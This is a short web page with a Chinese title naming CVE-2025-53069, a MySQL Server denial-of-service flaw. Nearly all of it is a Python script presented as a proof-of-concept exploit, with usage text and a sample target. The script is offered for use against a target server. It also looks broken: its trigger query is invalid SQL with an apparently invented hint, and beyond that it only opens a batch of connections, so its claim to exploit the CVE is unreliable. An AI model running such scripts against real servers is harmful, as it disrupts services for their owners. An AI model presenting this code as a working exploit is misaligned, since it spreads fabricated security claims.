CVE-2025-53069 Oracle MySQL Server 组件服务拒绝服务漏洞

# CVE-2025-53069 PoC - MySQL Server Components Services DoS # This PoC demonstrates a denial-of-service attack against vulnerable MySQL Server # Note: Requires high-privileged MySQL credentials import mysql.connector import sys import time def exploit_mysql_dos(host, port, user, password): """ Exploit CVE-2025-53069 to cause DoS on MySQL Server by triggering the vulnerable Components Services module """ try: # Connect to MySQL Server with high-privileged credentials connection = mysql.connector.connect( host=host, port=port, user=user, password=password, connection_timeout=10 ) cursor = connection.cursor() # Trigger the vulnerable Components Services path # The specific component service query triggers resource exhaustion for i in range(100): try: # Repeatedly invoke the vulnerable component service operation cursor.execute("SELECT /*+ component_service_trigger */ * FROM information_schema.* LIMIT 1") cursor.fetchall() except mysql.connector.Error: # Server may become unresponsive print(f"[+] Server may be experiencing DoS condition after {i+1} iterations") break # Attempt to consume server resources through concurrent component operations connections = [] for j in range(50): try: conn = mysql.connector.connect( host=host, port=port, user=user, password=password, connection_timeout=5 ) connections.append(conn) except mysql.connector.Error: print(f"[+] Connection refused - server may be in DoS state") break # Cleanup for conn in connections: try: conn.close() except: pass cursor.close() connection.close() except mysql.connector.Error as err: print(f"[-] Connection error: {err}") if "Can't connect" in str(err): print("[+] Target server appears to be down - DoS successful") if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <host> <port> <user> <password>") print(f"Example: {sys.argv[0]} 192.168.1.100 3306 admin password123") sys.exit(1) host, port, user, password = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4] exploit_mysql_dos(host, port, user, password)